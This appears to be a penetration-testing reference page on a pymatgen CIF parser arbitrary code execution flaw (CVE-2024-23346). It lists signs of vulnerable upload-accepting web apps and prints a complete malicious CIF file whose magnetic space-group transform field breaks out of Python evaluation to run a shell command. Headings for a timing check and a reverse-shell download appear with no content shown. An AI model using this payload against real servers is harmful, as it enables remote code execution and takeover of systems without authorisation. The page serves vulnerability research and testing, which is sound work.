githubEdit

Pymatgen CIF Parser

Pymatgen is a Python library for materials analysis. Its CIF (Crystallographic Information File) parser is vulnerable to arbitrary code execution.

GHSA-vgv8-5cpj-qj2f - Arbitrary Code Execution

Vulnerable Code Pattern:

from pymatgen.io.cif import CifParser
# Parsing user-uploaded .cif files

Indicators:

  • Web app accepting .cif file uploads

  • Flask/Python app with CIF analysis features

  • "Crystallographic Information File" mentioned

Exploitation

Malicious CIF File (RCE POC):

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("id");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Verify with sleep:

Replace the command with sleep 10 and observe delay:

Download and execute reverse shell:

Attack Steps

References

  • https://github.com/advisories/GHSA-vgv8-5cpj-qj2f

  • https://nvd.nist.gov/vuln/detail/CVE-2024-23346

Last updated